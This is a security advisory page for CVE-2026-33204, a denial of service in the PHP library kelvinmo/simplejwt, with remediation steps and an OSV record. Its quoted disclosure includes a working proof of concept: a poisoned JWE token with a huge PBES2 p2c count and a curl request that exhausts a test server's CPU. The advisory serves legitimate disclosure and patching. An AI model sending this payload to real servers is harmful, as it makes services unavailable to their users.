CVE-2026-33204: Kelvinmo/simplejwt Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-xw36-67f8-339x
CVSS 7.5
CWE-400
Published
Advisory Summary

CVE-2026-33204 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Kelvinmo/simplejwt libraries in the Packagist ecosystem. The issue involves simplejwt has an unauthenticated denial of service via jwe header tampering. Remediation is available by upgrading affected packages to version 1.1.1.

CVE-2026-33204 at a Glance

CVE Identifier CVE-2026-33204
GHSA Identifier GHSA-xw36-67f8-339x
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Kelvinmo/simplejwt
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-33204

To remediate this vulnerability, upgrade all affected Kelvinmo/simplejwt dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

kelvinmo/simplejwt fixed: 1.1.1
Upgrade kelvinmo/simplejwt to 1.1.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for kelvinmo/simplejwt

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33204, inspect your project dependencies for Kelvinmo/simplejwt:

inspect dependencies for kelvinmo/simplejwt

Analyze the terminal output to locate any version of Kelvinmo/simplejwt in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Kelvinmo/simplejwt, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary An unauthenticated attacker can perform a Denial of Service via JWE header tampering when PBES2 algorithms are used. Applications that call `JWE::decrypt()` on attacker-controlled JWEs using PBES2 algorithms are affected. ## Details PHP version: `PHP 8.4.11` SimpleJWT version: `v1.1.0` The relevant portion of the vulnerable implementation is shown below ([PBES2.php](https://github.com/kelvinmo/simplejwt/blob/edb7807a240b72c59e72d7dca31add9d16555f9f/src/SimpleJWT/Crypt/KeyManagement/PBES2.php)): ```PHP <?php /* ... SNIP ... */ class PBES2 extends BaseAlgorithm implements KeyEncryptionAlgorithm { use AESKeyWrapTrait; /** @var array<string, mixed> $alg_params */ static protected $alg_params = [ 'PBES2-HS256+A128KW' => ['hash' => 'sha256'], 'PBES2-HS384+A192KW' => ['hash' => 'sha384'], 'PBES2-HS512+A256KW' => ['hash' => 'sha512'] ]; /** @var truthy-string $hash_alg */ protected $hash_alg; /** @var int $iterations */ protected $iterations = 4096; /* ... SNIP ... */ /** * Sets the number of iterations to use in PBKFD2 key generation. * * @param int $iterations number of iterations * @return void */ public function setIterations(int $iterations) { $this->iterations = $iterations; } /* ... SNIP ... */ /** * {@inheritdoc} */ public function decryptKey(string $encrypted_key, KeySet $keys, array $headers, ?string $kid = null): string { /** @var SymmetricKey $key */ $key = $this->selectKey($keys, $kid); if ($key == null) { throw new CryptException('Key not found or is invalid', CryptException::KEY_NOT_FOUND_ERROR); } if (!isset($headers['p2s']) || !isset($headers['p2c'])) { throw new CryptException('p2s or p2c headers not set', CryptException::INVALID_DATA_ERROR); } $derived_key = $this->generateKeyFromPassword($key->toBinary(), $headers); return $this->unwrapKey($encrypted_key, $derived_key, $headers); } /* ... SNIP ... */ /** * @param array<string, mixed> $headers */ private function generateKeyFromPassword(string $password, array $headers): string { $salt = $headers['alg'] . "\x00" . Util::base64url_decode($headers['p2s']); /** @var int<0, max> $length */ $length = intdiv($this->getAESKWKeySize(), 8); return hash_pbkdf2($this->hash_alg, $password, $salt, $headers['p2c'], $length, true); } } ?> ``` The security flaw lies in the lack of input validation when handling JWEs that uses PBES2. A "sanity ceiling" is not set on the iteration count, which is the parameter known in the JWE specification as `p2c` ([RFC7518](https://datatracker.ietf.org/doc/html/rfc7518#section-4.8.1.2)). The library calls `decryptKey()` with the untrusted input `$headers` which then use the PHP function `hash_pbkdf2()` with the user-supplied value `$headers['p2c']`. This results in an algorithmic complexity denial-of-service (CPU exhaustion) because the PBKDF2 iteration count is fully attacker-controlled. Because the header is processed before successful decryption and authentication, the attack can be triggered using an invalid JWE, meaning authentication is not required. ## Proof of Concept Spin up a simple PHP server which accepts a JWE as input and tries to decrypt the user supplied JWE. ```bash mkdir simplejwt-poc cd simplejwt-poc composer install composer require kelvinmo/simplejwt php -S localhost:8000 ``` The content of `index.php`: ```php <?php require __DIR__ . '/vendor/autoload.php'; $set = SimpleJWT\Keys\KeySet::createFromSecret('secret123'); $uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); $method = $_SERVER['REQUEST_METHOD']; if ($uri === '/encrypt' && $method === 'GET') { // Note $headers['alg'] and $headers['enc'] are required $headers = ['alg' => 'PBES2-HS256+A128KW', 'enc' => 'A256CBC-HS512']; $plaintext = 'This is the plaintext I want to encrypt.'; $jwe = new SimpleJWT\JWE($headers, $plaintext); try { echo "Encrypted JWE: " . $jwe->encrypt($set); } catch (\RuntimeException $e) { echo $e; } } elseif ($uri === '/decrypt' && $method === 'GET') { try { $jwe = $_GET['s']; $jwe = SimpleJWT\JWE::decrypt($jwe, $set, 'PBES2-HS256+A128KW'); } catch (SimpleJWT\InvalidTokenException $e) { echo $e; } echo $jwe->getHeader('alg') . "<br>"; echo $jwe->getHeader('enc') . "<br>"; echo $jwe->getPlaintext() . "<br>"; } else { http_response_code(404); echo "Route not found"; } ?> ``` We have to craft a JWE (even unsigned and unencrypted) with this header, notice the extremely large p2c value (more than 400 billion iterations): ```json { "alg": "PBES2-HS256+A128KW", "enc": "A128CBC-HS256", "p2s": "blablabla", "p2c": 409123223136 } ``` The final JWE with poisoned header: `eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla`. Notice that only the header needs to be valid Base64URL JSON, the remaining JWE segments can contain arbitrary data. Perform the following request to the server (which tries to derive the PBES2 key): ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: localhost:8000' \ $'http://localhost:8000/decrypt?s=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla' ``` The request blocks the worker until the PHP execution timeout is reached, shutting down the server: ```console [Sun Mar 15 11:42:18 2026] PHP 8.4.11 Development Server (http://localhost:8000) started [Sun Mar 15 11:42:20 2026] 127.0.0.1:38532 Accepted Fatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in /home/edoardottt/hack/test/simplejwt-poc/vendor/kelvinmo/simplejwt/src/SimpleJWT/Crypt/KeyManagement/PBES2.php on line 168 ``` ## Impact An attacker can send a crafted JWE with an extremely large `p2c` value to force the server to perform a very large number of PBKDF2 iterations. This causes excessive CPU consumption during key derivation and blocks the request worker until execution limits are reached. Repeated requests can exhaust server resources and make the application unavailable to legitimate users. ## Credits Edoardo Ottavianelli (@edoardottt)

CVE-2026-33204 Affected Kelvinmo/simplejwt Versions

1 component(s)
Fixed Versions:
1.1.1
Product / Package Ecosystem Affected Versions Fixed Version
kelvinmo/simplejwt
Packagist
< 1.1.1
1.1.1

References

Frequently Asked Questions

What is CVE-2026-33204?
CVE-2026-33204 is a security vulnerability in Kelvinmo/simplejwt involving SimpleJWT has an Unauthenticated Denial of Service via JWE header tampering under CWE-400: Uncontrolled Resource Consumption.
Which Kelvinmo/simplejwt versions are affected?
Affected versions include releases prior to 1.1.1 across affected packages: kelvinmo/simplejwt.
What version fixes CVE-2026-33204?
Upgrading to 1.1.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is kelvinmo/simplejwt affected?
Yes, kelvinmo/simplejwt is affected in releases prior to 1.1.1. Upgrade your dependency to 1.1.1 or later.
What is the CVSS score of CVE-2026-33204?
CVE-2026-33204 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-33204?
CVE-2026-33204 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Packagist dependencies for CVE-2026-33204?
Run the dependency tree command: 'inspect dependencies for kelvinmo/simplejwt'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xw36-67f8-339x",
  "modified" : "2026-03-25T18:12:39Z",
  "published" : "2026-03-18T20:16:59Z",
  "aliases" : [ "CVE-2026-33204" ],
  "summary" : "SimpleJWT has an Unauthenticated Denial of Service via JWE header tampering",
  "details" : "## Summary\n\nAn unauthenticated attacker can perform a Denial of Service via JWE header tampering when PBES2 algorithms are used.  \nApplications that call `JWE::decrypt()` on attacker-controlled JWEs using PBES2 algorithms are affected.\n\n## Details\n\nPHP version: `PHP 8.4.11`\nSimpleJWT version: `v1.1.0`\n\nThe relevant portion of the vulnerable implementation is shown below ([PBES2.php](https://github.com/kelvinmo/simplejwt/blob/edb7807a240b72c59e72d7dca31add9d16555f9f/src/SimpleJWT/Crypt/KeyManagement/PBES2.php)):\n\n```PHP\n<?php\n/* ... SNIP ... */\nclass PBES2 extends BaseAlgorithm implements KeyEncryptionAlgorithm {\n    use AESKeyWrapTrait;\n\n    /** @var array<string, mixed> $alg_params */\n    static protected $alg_params = [\n        'PBES2-HS256+A128KW' => ['hash' => 'sha256'],\n        'PBES2-HS384+A192KW' => ['hash' => 'sha384'],\n        'PBES2-HS512+A256KW' => ['hash' => 'sha512']\n    ];\n\n    /** @var truthy-string $hash_alg */\n    protected $hash_alg;\n\n    /** @var int $iterations */\n    protected $iterations = 4096;\n    \n    /* ... SNIP ... */\n\n    /**\n     * Sets the number of iterations to use in PBKFD2 key generation.\n     *\n     * @param int $iterations number of iterations\n     * @return void\n     */\n    public function setIterations(int $iterations) {\n        $this->iterations = $iterations;\n    }\n    \n    /* ... SNIP ... */\n\n    /**\n     * {@inheritdoc}\n     */\n    public function decryptKey(string $encrypted_key, KeySet $keys, array $headers, ?string $kid = null): string {\n        /** @var SymmetricKey $key */\n        $key = $this->selectKey($keys, $kid);\n        if ($key == null) {\n            throw new CryptException('Key not found or is invalid', CryptException::KEY_NOT_FOUND_ERROR);\n        }\n        if (!isset($headers['p2s']) || !isset($headers['p2c'])) {\n            throw new CryptException('p2s or p2c headers not set', CryptException::INVALID_DATA_ERROR);\n        }\n\n        $derived_key = $this->generateKeyFromPassword($key->toBinary(), $headers);\n        return $this->unwrapKey($encrypted_key, $derived_key, $headers);\n    }\n    \n    /* ... SNIP ... */\n\n    /**\n     * @param array<string, mixed> $headers\n     */\n    private function generateKeyFromPassword(string $password, array $headers): string {\n        $salt = $headers['alg'] . \"\\x00\" . Util::base64url_decode($headers['p2s']);\n        /** @var int<0, max> $length */\n        $length = intdiv($this->getAESKWKeySize(), 8);\n\n        return hash_pbkdf2($this->hash_alg, $password, $salt, $headers['p2c'], $length, true);\n    }\n}\n?>\n```\n\nThe security flaw lies in the lack of input validation when handling JWEs that uses PBES2.  \nA \"sanity ceiling\" is not set on the iteration count, which is the parameter known in the JWE specification as `p2c` ([RFC7518](https://datatracker.ietf.org/doc/html/rfc7518#section-4.8.1.2)).  \nThe library calls `decryptKey()` with the untrusted input `$headers` which then use the PHP function `hash_pbkdf2()` with the user-supplied value `$headers['p2c']`.\n\nThis results in an algorithmic complexity denial-of-service (CPU exhaustion) because the PBKDF2 iteration count is fully attacker-controlled.  \nBecause the header is processed before successful decryption and authentication, the attack can be triggered using an invalid JWE, meaning authentication is not required.\n\n## Proof of Concept\n\nSpin up a simple PHP server which accepts a JWE as input and tries to decrypt the user supplied JWE.\n\n```bash\nmkdir simplejwt-poc\ncd simplejwt-poc\ncomposer install\ncomposer require kelvinmo/simplejwt\nphp -S localhost:8000\n```\n\nThe content of `index.php`:\n\n```php\n<?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$set = SimpleJWT\\Keys\\KeySet::createFromSecret('secret123');\n\n$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);\n$method = $_SERVER['REQUEST_METHOD'];\n\nif ($uri === '/encrypt' && $method === 'GET') {\n    // Note $headers['alg'] and $headers['enc'] are required\n    $headers = ['alg' => 'PBES2-HS256+A128KW', 'enc' => 'A256CBC-HS512'];\n    $plaintext = 'This is the plaintext I want to encrypt.';\n    $jwe = new SimpleJWT\\JWE($headers, $plaintext);\n\n    try {\n        echo \"Encrypted JWE: \" . $jwe->encrypt($set);\n    } catch (\\RuntimeException $e) {\n        echo $e;\n    }\n}\n\nelseif ($uri === '/decrypt' && $method === 'GET') {\n    try {\n        $jwe = $_GET['s'];\n        $jwe = SimpleJWT\\JWE::decrypt($jwe, $set, 'PBES2-HS256+A128KW');\n    } catch (SimpleJWT\\InvalidTokenException $e) {\n        echo $e;\n    }\n    echo $jwe->getHeader('alg') . \"<br>\";\n    echo $jwe->getHeader('enc') . \"<br>\";\n    echo $jwe->getPlaintext() . \"<br>\";\n    }\n\nelse {\n    http_response_code(404);\n    echo \"Route not found\";\n}\n\n?>\n```\n\nWe have to craft a JWE (even unsigned and unencrypted) with this header, notice the extremely large p2c value (more than 400 billion iterations):\n\n```json\n{\n    \"alg\": \"PBES2-HS256+A128KW\",\n    \"enc\": \"A128CBC-HS256\",\n    \"p2s\": \"blablabla\",\n    \"p2c\": 409123223136\n}\n```\n\nThe final JWE with poisoned header: `eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla`.\n\nNotice that only the header needs to be valid Base64URL JSON, the remaining JWE segments can contain arbitrary data.\n\nPerform the following request to the server (which tries to derive the PBES2 key):\n\n```bash\ncurl --path-as-is -i -s -k -X $'GET' \\\n    -H $'Host: localhost:8000' \\\n    $'http://localhost:8000/decrypt?s=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla'\n```\n\nThe request blocks the worker until the PHP execution timeout is reached, shutting down the server:\n\n```console\n[Sun Mar 15 11:42:18 2026] PHP 8.4.11 Development Server (http://localhost:8000) started\n[Sun Mar 15 11:42:20 2026] 127.0.0.1:38532 Accepted\n\nFatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in /home/edoardottt/hack/test/simplejwt-poc/vendor/kelvinmo/simplejwt/src/SimpleJWT/Crypt/KeyManagement/PBES2.php on line 168\n```\n\n## Impact\n\nAn attacker can send a crafted JWE with an extremely large `p2c` value to force the server to perform a very large number of PBKDF2 iterations.  \nThis causes excessive CPU consumption during key derivation and blocks the request worker until execution limits are reached.  \nRepeated requests can exhaust server resources and make the application unavailable to legitimate users.\n\n## Credits \n\nEdoardo Ottavianelli (@edoardottt)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "kelvinmo/simplejwt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kelvinmo/simplejwt/security/advisories/GHSA-xw36-67f8-339x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33204"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kelvinmo/simplejwt"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kelvinmo/simplejwt/releases/tag/v1.1.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-18T20:16:59Z",
    "nvd_published_at" : "2026-03-20T23:16:45Z"
  }
}